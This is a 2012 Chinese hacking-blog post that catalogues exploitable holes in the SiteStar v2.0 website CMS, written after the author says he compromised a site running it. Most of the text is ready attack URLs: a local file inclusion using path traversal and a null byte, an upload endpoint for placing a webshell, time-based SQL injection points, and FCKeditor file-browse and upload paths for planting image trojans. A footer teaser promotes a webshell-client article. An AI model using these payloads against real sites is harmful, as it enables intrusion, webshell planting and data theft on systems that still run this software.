建站之星 (SiteStar) v2.0 漏洞大全，上传、注入、任意文件包含……

前两天拿个站，系统是：建站之星 (SiteStar) v2.0，自己看了看，又综合了网上的各种漏洞，整理了一份漏洞大全，这套程序浑身都是窟窿，无语中……

记录时间：

　　2012-3-10 14:24:43
　　By: Nuclear'Atk, Url: Http://lcx.cc/

程序名称：

　　建站之星 (SiteStar) v2.0
　　建站之星 SiteStar 网站管理系统 v2.0

漏洞详情：

　　1、本地任意文件包含漏洞：
　　　　http://127.0.0.1/index.php?_m=/../robots.txt%00.htmlmod_product&_a=prdlist
　　　　详细：https://lcx.cc/post/2319/
　　　　问题出在：/library/content.PHP, 行：14。
　　　　利用：配合文件上传，上传图片，可以瞬间拿下。
　　　　图片：GIF89a

　　2、在线编辑器：
　　　　http://127.0.0.1/admin/fckeditor/editor/fckeditor.html
　　　　可以上传图片、浏览文件、新建文件夹等。

　　3、任意文件上传漏洞：
　　　　漏洞产生在 /script/multiupload/uploadify.php 文件。
　　　　低级失误，通过构造html表单可直接上传webshell至web目录。
　　　　详细：https://lcx.cc/post/2320/

　　4、Sql 注入漏洞：
　　　　地址：
　　　　　　http://192.168.1.2/index.php?_m=mod_product&_a=prdlist&cap_id=46%Inject_Here%
　　　　　　http://192.168.1.2/index.php?_m=mod_product&_a=view&p_id=56%Inject_Here%
　　　　数据库类型：MySQL time based injection
　　　　参数类型：Integer

其他漏洞：

　　路径 {
　　　　http://127.0.0.1/admin/
　　　　http://127.0.0.1/admin/index.php
　　　　http://127.0.0.1/admin/FCKeditor/
　　　　http://127.0.0.1/admin/fckeditor/editor/fckeditor.html
　　}

　　漏洞 {
　　　　任意文件包含：http://127.0.0.1/index.php?_m=/../robots.txt%00.htmlmod_product&_a=prdlist
　　　　Sql 注入漏洞：http://127.0.0.1/index.php?_m=mod_product&_a=prdlist&cap_id=37%Inject_Here%
　　}

　　编辑器 {
　　　　编辑器：http://127.0.0.1/admin/fckeditor/editor/fckeditor.html
　　　　上传：http://127.0.0.1/admin/fckeditor/browser/browser.html?Connector=connector.php
　　　　包含：http://127.0.0.1/index.php?_m=/../index.php%00.htmlmod_product&_a=prdlist
　　　　文件浏览：http://127.0.0.1/admin/fckeditor/browser/connector.php?Command=GetFoldersAndFiles&Type=File&CurrentFolder=%2F
　　　　上传路径：/admin/fckeditor/browser/../../../upload/file/baidu_sylogo1.gif
　　　　可以创建 a.asp 目录，上传图片木马。
　　　　各种路径（太多了，只记了部分） {
　　　　　　/admin/fckeditor/browser/browser.html?Connector=connector.php
　　　　　　/admin/fckeditor/browser/connector.php?Command=GetFoldersAndFiles&Type=File&CurrentFolder=%2F
　　　　　　/admin/fckeditor/browser/connector.php?Command=GetFoldersAndFiles&Type=Flash&CurrentFolder=%2F
　　　　　　/admin/fckeditor/browser/connector.php?Command=GetFoldersAndFiles&Type=Media&CurrentFolder=%2F
　　　　}
　　}

文章来源于lcx.cc:建站之星 (SiteStar) v2.0 漏洞大全，上传、注入、任意文件包含……

相关推荐: 我是这样打造自已的“菜刀”的，让一句话飞一会

本文内容仅供研究，请勿用于非法用途！！！ 很久很久以前，我在管理服务器的时候总喜欢放个一句话，然后菜刀连之，管理网站又方便又简单。 后来X客、X客、X客…… 也使用同样的方法“管理”网站和服务器。网站木马的查杀遇到了不少困难，各种隐藏、编码。 再后来研究攻击的…